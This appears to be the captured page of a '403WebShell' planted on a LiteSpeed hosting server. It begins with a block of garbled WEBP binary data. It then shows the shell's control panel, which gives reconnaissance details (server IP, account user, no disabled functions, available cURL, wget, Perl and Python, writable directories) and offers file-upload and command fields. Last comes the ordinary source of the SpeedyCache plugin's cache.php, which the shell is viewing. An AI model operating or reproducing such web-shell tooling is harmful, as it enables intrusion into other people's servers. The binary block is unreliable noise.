....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 159.198.67.129  /  Your IP : 216.73.216.244
Web Server : LiteSpeed
System : Linux server166.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : trooaisr ( 4033)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/speedycache/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/speedycache/main/cache.php
<?php

namespace SpeedyCache;

if(!defined('ABSPATH')){
	die('HACKING ATTEMPT!');
}

use \SpeedyCache\Util;

class Cache {
	static $cache_file_path = '';
	static $ignored_parameters = ['fbclid', 'utm_id', 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'utm_source_platform', 'gclid', 'dclid', 'msclkid', 'ref', 'fbaction_ids', 'fbc', 'fbp', 'clid', 'mc_cid', 'mc_eid', 'hsCtaTracking', 'hsa_cam', 'hsa_grp', 'hsa_mt', 'hsa_src', 'hsa_ad', 'hsa_acc', 'hsa_net', 'hsa_kw'];
	
	static $content = '';

	static function init(){
		global $speedycache;

		if(!defined('SPEEDYCACHE_SERVER_HOST')){
			define('SPEEDYCACHE_SERVER_HOST', Util::sanitize_server('HTTP_HOST'));
		}

		if(!defined('SITEPAD')){
			if(!empty($speedycache->options['dns_prefetch']) && !empty($speedycache->options['dns_urls'])){
				add_filter('wp_resource_hints', '\SpeedyCache\Cache::dns_prefetch_hint', 10, 2);
			}
		}
		
		// Filter for Gravatar cache. We are updating the URL of the gravatar here so the local hosted Gravatar URL will be cached.
		if(!empty($speedycache->options['gravatar_cache'])){
			add_filter('get_avatar_data', '\SpeedyCache\Gravatar::get_avatar_data', 10, 2);
		}

		// Loads Instant Page to improve load page speed by 1%
		if(defined('SPEEDYCACHE_PRO') && !empty($speedycache->options['instant_page'])){
			add_action('wp_enqueue_scripts', '\SpeedyCache\Cache::instant_page');
		}

		if(!empty($speedycache->options['disable_emojis'])){
			add_action('init', '\SpeedyCache\Cache::disable_emojis');
		}
		
		// Optimizes images when a page gets loaded and it finds no image optimized
		if(class_exists('\SpeedyCache\Image') && !empty($speedycache->image['settings']['automatic_optm'])){
			add_filter('the_content', '\SpeedyCache\Image::optimize_on_fly');
		}
		
		// Adds preconnect
		if(class_exists('\SpeedyCache\Enhanced')){
			if(!defined('SITEPAD')){
				if(!empty($speedycache->options['pre_connect']) && !empty($speedycache->options['pre_connect_list'])){
					add_filter('wp_resource_hints', '\SpeedyCache\Enhanced::pre_connect_hint', 10, 2);
				}
			}
		
			// Adds Preload link tag to the head
			if(!empty($speedycache->options['preload_resources'])){
				add_action('wp_head', '\SpeedyCache\Enhanced::preload_resource', 0);
			}
		}

		// Image URL rewrite
		if(class_exists('\SpeedyCache\Image') && !empty($speedycache->image['settings']['url_rewrite'])){
			add_filter('the_content', 'SpeedyCache\Image::rewrite_url_to_webp', 10);
		}

		ob_start('\SpeedyCache\Cache::optimize');
	}

	static function create(){
		global $speedycache;

		$cache_path = self::cache_path();
		$cache_path = wp_normalize_path($cache_path);

		if(!file_exists($cache_path)){
			mkdir($cache_path, 0755, true);
		}

		$cache_path .= '/' . self::cache_file_name();
		
		$mobile = '';
		if(strpos($cache_path, 'mobile-cache') !== FALSE){
			$mobile = 'Mobile: ';
		}
		
		$cache_path = wp_normalize_path($cache_path);
		$comment = 'Cache by SpeedyCache https://speedycache.com at '.time().' -->';

		file_put_contents($cache_path, self::$content . "\n<!-- ".esc_html($mobile).$comment);

		if(function_exists('gzencode') && !empty($speedycache->options['gzip'])){
			$gzidded_content = gzencode(self::$content . "\n<!-- ".esc_html($mobile).$comment);
			file_put_contents($cache_path . '.gz', $gzidded_content);
		}

		do_action('speedycache_update_stats', $cache_path);
	}
	
	static function cache_file_name(){		
		$file_name = 'index';

		if(isset($_COOKIE['wcu_current_currency'])){
			$file_name .= '-'. strtolower(sanitize_file_name($_COOKIE['wcu_current_currency']));
		}

		return $file_name . '.html';
	}
	

	static function cache_path(){
		global $speedycache;
		
		if(!file_exists(SPEEDYCACHE_CACHE_DIR)){
			if(mkdir(SPEEDYCACHE_CACHE_DIR, 0755, true)){
				touch(SPEEDYCACHE_CACHE_DIR . '/index.html');
			}
		}

		$host = $_SERVER['HTTP_HOST'];
		$request_uri = urldecode(esc_url_raw(wp_unslash($_SERVER['REQUEST_URI'])));
		$request_uri = preg_replace('/\.{2,}/', '', $request_uri); // Cleaning the path
		$request_uri = remove_query_arg(self::$ignored_parameters, $request_uri); // Cleaning ignored query
		$parsed_uri = wp_parse_url($request_uri);

		$path = SPEEDYCACHE_CACHE_DIR;
		$path .= '/' . $host;

		if(wp_is_mobile() && !empty($speedycache->options['mobile_theme'])){
			$path .= '/mobile-cache';
		} else {
			$path .= '/all';
		}
			
		// Handling WeGlot
		if(function_exists('weglot_get_current_full_url')){
			$weglot_url = weglot_get_current_full_url();
			$weglot_path = parse_url($weglot_url, PHP_URL_PATH);
			
			$path .= $weglot_path;
		} else {
			$path .= $parsed_uri['path'];
		}

		self::$cache_file_path = $path;

		return $path;
	}

	static function can_cache(){
		global $speedycache;
		
		if(empty($speedycache->options['status'])) return false;

		if(empty($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] != 'GET') return false;
		
		if(defined('WP_CLI') && !empty(WP_CLI)) return false;

		if(defined('REST_REQUEST') && !empty(REST_REQUEST)) return false;

		if(function_exists('http_response_code') && (http_response_code() > 309)) return false;
		
		if(preg_match('/\./', $_SERVER['REQUEST_URI'])) return false;
		
		if (defined('SITEPAD')) {
			if (preg_match('/(site-admin|login|wp-register|wp-comments-post|cron|sp-json)/', $_SERVER['REQUEST_URI'])) {
				return false;
			}
		} else {
			if (preg_match('/(wp-(?:admin|login|register|comments-post|cron|json))/', $_SERVER['REQUEST_URI'])) {
				return false;
			}
		}
		
		if(preg_match('/html.*\s(amp|⚡)/', substr(self::$content, 0, 300))) return false;
		
		if(wp_is_mobile() && !empty($speedycache->options['mobile']) && empty($speedycache->options['mobile_theme'])) return false;

		if(is_admin()) return false;
		
		// Since: 1.3.8
		if(defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) return false;

		// Since: 1.2.8 we will only cache the page if user is not logged-in.
		if(is_user_logged_in()) return false;
		
		if(!preg_match( '/<\s*\/\s*html\s*>/i', self::$content)) return false;

		if(is_singular() && self::is_password_protected()) return false;
		
		if(function_exists('is_404') && is_404()) return false;

		if(self::is_excluded()) return false;

		if(function_exists('is_cart') && is_cart()) return false;

		if(function_exists('is_checkout') && is_checkout()) return false;
		
		if(function_exists('is_account_page') && is_account_page()) return false;

		if(!self::can_handle_query()) return false;
	
		return true;
	}

	static function optimize($content){
		global $speedycache;
		
		self::$content = &$content;
		
		$start_time = microtime(TRUE);

		if(!self::can_cache()){
			return self::$content;
		}
		
		self::clean_html();

		// Minify HTML
		if(class_exists('\SpeedyCache\Enhanced') && !empty($speedycache->options['minify_html']) && (defined('SPEEDYCACHE_PRO_VERSION') && version_compare(SPEEDYCACHE_PRO_VERSION, '1.2.0', '>='))){
			\SpeedyCache\Enhanced::init();
			\SpeedyCache\Enhanced::minify_html(self::$content);
		}

		// ADD Font Rendering CSS
		if(!empty($speedycache->options['font_rendering'])){
			self::$content = str_replace('</head>', '<style>body{text-rendering: optimizeSpeed;}</style></head>', self::$content);
		}
		
		// Lazy Load HTML elements
		if(class_exists('\SpeedyCache\Enhanced') && !empty($speedycache->options['lazy_load_html']) && !empty($speedycache->options['lazy_load_html_elements'])){
			self::$content = \SpeedyCache\Enhanced::lazy_load_html(self::$content);
		}

		if(!empty($speedycache->options['combine_css'])){
			\SpeedyCache\CSS::combine(self::$content);
		}

		if(!empty($speedycache->options['minify_css'])){
			\SpeedyCache\CSS::minify(self::$content);
		}
		
		if(!empty($speedycache->options['combine_js'])){
			\SpeedyCache\JS::combine_head(self::$content);
		}
		
		// if(class_exists('\SpeedyCache\Enhanced') && !empty($speedycache->options['combine_js'])){
			// \SpeedyCache\JS::combine_body($content);
		// }
		
		if(!empty($speedycache->options['minify_js'])){
			\SpeedyCache\JS::minify(self::$content);
		}
		
		// Adds Image dimensions to the Image which does not have height or width
		if(class_exists('\SpeedyCache\Enhanced') && !empty($speedycache->options['image_dimensions'])){
			self::$content = \SpeedyCache\Enhanced::image_dimensions(self::$content);
		}

		// Google Fonts
		if(class_exists('\SpeedyCache\GoogleFonts') && !empty($speedycache->options['local_gfonts'])){
			\SpeedyCache\GoogleFonts::get($content);
			self::$content = \SpeedyCache\GoogleFonts::replace(self::$content);
			self::$content = \SpeedyCache\GoogleFonts::add_swap(self::$content);
		}

		// Preload Critical Images
		if(class_exists('\SpeedyCache\Enhanced') && !empty($speedycache->options['critical_images'])){
			self::$content = \SpeedyCache\Enhanced::preload_critical_images(self::$content);
		}

		// Delay JS
		if(!empty($speedycache->options['delay_js']) && class_exists('\SpeedyCache\ProOptimizations')){
			\SpeedyCache\ProOptimizations::delay_js(self::$content);
		}
		
		// Defer JS
		if(!empty($speedycache->options['render_blocking']) && class_exists('\SpeedyCache\ProOptimizations')){
			\SpeedyCache\ProOptimizations::defer_js(self::$content);
		}
		
		// IMG Lazy Load
		if(class_exists('\SpeedyCache\ProOptimizations') && !empty($speedycache->options['lazy_load'])){
			\SpeedyCache\ProOptimizations::img_lazy_load(self::$content);
		}
		
		// For other plugins to hook into.
		self::$content = (string) apply_filters('speedycache_content', self::$content);

		// ----- DO NOT DO ANY OPTIMIZATION BELOW THIS ------
		// Unused and Critical CSS
		if(
			!empty($_SERVER['HTTP_HOST']) && 
			!empty($_SERVER['REQUEST_URI']) && 
			!empty($_SERVER['HTTP_USER_AGENT']) && 
			class_exists('\SpeedyCache\ProOptimizations') && 
			speedycache_optserver('HTTP_USER_AGENT') !== 'SpeedyCacheCCSS' && 
			!(defined('SITEPAD'))
		){
			$post_meta = get_post_meta(get_the_ID(), 'speedycache_post_meta', true);
			
			if(!empty($speedycache->options['critical_css']) && empty($post_meta['disable_critical_css'])){
				\SpeedyCache\ProOptimizations::critical_css();
			}
			
			if(empty($post_meta['disable_unused_css']) && !empty($speedycache->options['unused_css'])){
				\SpeedyCache\ProOptimizations::unused_css();
			}
		}
		
		// Rewriting to a CDN
		if(
			!empty($speedycache->cdn) && 
			!empty($speedycache->cdn['enabled']) && 
			!empty($speedycache->cdn['cdn_url']) && 
			!empty($speedycache->cdn['cdn_type']) && 
			$speedycache->cdn['cdn_type'] !== 'cloudflare'
		){
			\SpeedyCache\CDN::rewrite(self::$content);
		}

		self::create();
		$end_time = microtime(TRUE);

		self::$content .= '<!-- Cached by SpeedyCache, it took '.($end_time - $start_time).'s-->';
		self::$content .= '<!-- Refresh to see the cached version -->';
		
		if(file_exists(self::$cache_file_path)){
			header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime(self::$cache_file_path)) . ' GMT');
		}
		return self::$content;
	}
	
	static function clean_html(){
		self::$content = str_replace("\r\n", "\n", trim(self::$content));
	}
	
	static function is_excluded(){
		global $speedycache;
		
		$excludes = get_option('speedycache_exclude', []);
		
		if(empty($excludes)){
			return false;
		}

		$is_excluded = false;

		foreach($excludes as $rule){
			switch($rule['type']){
				case 'page':
					$is_excluded = self::is_page_excluded($rule);
					break;

				case 'useragent':
					$is_excluded = self::is_useragent_excluded($rule);
					break;

				case 'cookie':
					$is_excluded = self::is_cookie_excluded($rule);
					break;
			}

			if(!empty($is_excluded)){
				return true;
			}
		}

		return false;
	}
	
	static function can_handle_query(){
		$uri = sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI']));
		$uri = remove_query_arg(self::$ignored_parameters, $uri);
		$parsed_uri = wp_parse_url($uri);

		if(!empty($parsed_uri['query'])){
			return false;
		}

		return true;
	}
	
	static function is_page_excluded($rule){

		if(empty($rule['prefix'])){
			return false;
		}

		if($rule['prefix'] === 'homepage'){
			return is_front_page();
		}
		
		if($rule['prefix'] === 'page'){
			return is_page();
		}

		if($rule['prefix'] === 'post_id' && !empty($rule['content'])){
			$excluded_ids = is_array($rule['content']) ? $rule['content'] : explode(',', $rule['content']);
			return in_array(get_queried_object_id(), $excluded_ids);
		}
		
		// Excludes a page if it has the given shortcode.
		if($rule['prefix'] === 'shortcode' && !empty($rule['content'])){
			if(self::has_shortcode($rule['content'])){
				return true;
			}
		}

		if($rule['prefix'] === 'category'){
			return is_category();
		}
		
		if($rule['prefix'] === 'archive'){
			return is_archive();
		}
		
		if($rule['prefix'] === 'tag'){
			return is_tag();
		}
		
		if($rule['prefix'] === 'attachment'){
			return is_attachment();
		}
		
		if($rule['prefix'] === 'startwith' && !empty($rule['content'])){
			return (bool) preg_match('/^'.preg_quote($rule['content'], '/').'/', trim($_SERVER['REQUEST_URI'], '/'));
		}
		
		if($rule['prefix'] === 'contain' && !empty($rule['content'])){
			return (bool) preg_match('/'.preg_quote($rule['content'], '/').'/', trim($_SERVER['REQUEST_URI'], '/'));
		}
		
		if($rule['prefix'] === 'exact' && !empty($rule['content'])){
			return trim($rule['content'], '/') === trim($_SERVER['REQUEST_URI'], '/');
		}
		
		return false;
	}
	
	static function is_cookie_excluded($rule){
		if(!isset($_SERVER['HTTP_COOKIE'])){
			return false;
		}

		$cookie = sanitize_text_field(wp_unslash($_SERVER['HTTP_COOKIE']));

		return preg_match('/'.preg_quote($rule['content'], '/').'/i', $cookie);
	}
	
	static function is_useragent_excluded($rule){
		return preg_match('/'.preg_quote($rule['content'], '/').'/i', $_SERVER['HTTP_USER_AGENT']);
	}
	
	// Adds DNS prefetch
	static function dns_prefetch_hint($urls, $relation_type){
		global $speedycache;

		if($relation_type !== 'dns-prefetch'){
			return $urls;
		}

		foreach($speedycache->options['dns_urls'] as $url) {
			if(!empty($url)){
				$urls[] = $url;
			}
		}

		return $urls;
	}
	
	// Depricated since 1.2.0 do not use it
	// Just to prevent site from breaking
	static function create_dir($path, $content, $type = ''){
	}
	
	
	static function disable_emojis(){
		add_filter('emoji_svg_url', '__return_false');
		remove_action('wp_head', 'print_emoji_detection_script', 7);
		remove_action('admin_print_scripts', 'print_emoji_detection_script');
		remove_action('wp_print_styles', 'print_emoji_styles');
		remove_action('admin_print_styles', 'print_emoji_styles');
		remove_filter('the_content_feed', 'wp_staticize_emoji');
		remove_filter('comment_text_rss', 'wp_staticize_emoji'); 
		remove_filter('wp_mail', 'wp_staticize_emoji_for_email');
	}
	
	static function instant_page(){
		wp_enqueue_script('speedycache_instant_page', SPEEDYCACHE_PRO_URL . '/assets/js/instantpage.js', array(), SPEEDYCACHE_PRO_VERSION, ['strategy' => 'defer', 'in_footer' => true]);
	}
	
	/*
	* @param string $shortcode shortcode tag name.
	* @return bool.
	*/
	static function has_shortcode($shortcode){
		global $post;

		return \has_shortcode($post->post_content, $shortcode);
	}
	
	/* 
	 * Earlier we were using post_password_required which returns false if the user has placed correct password
	 * making the password protected page, visible to all if once correct user opened the page.
	 *
	 * Since 1.3.8
	 *
	 * @return bool
	 */
	static function is_password_protected(){
		global $post;
		
		if(empty($post)){
			return false;
		}
		
		if(!empty($post->post_password)){
			return true;
		}
		
		return false;
	}
}



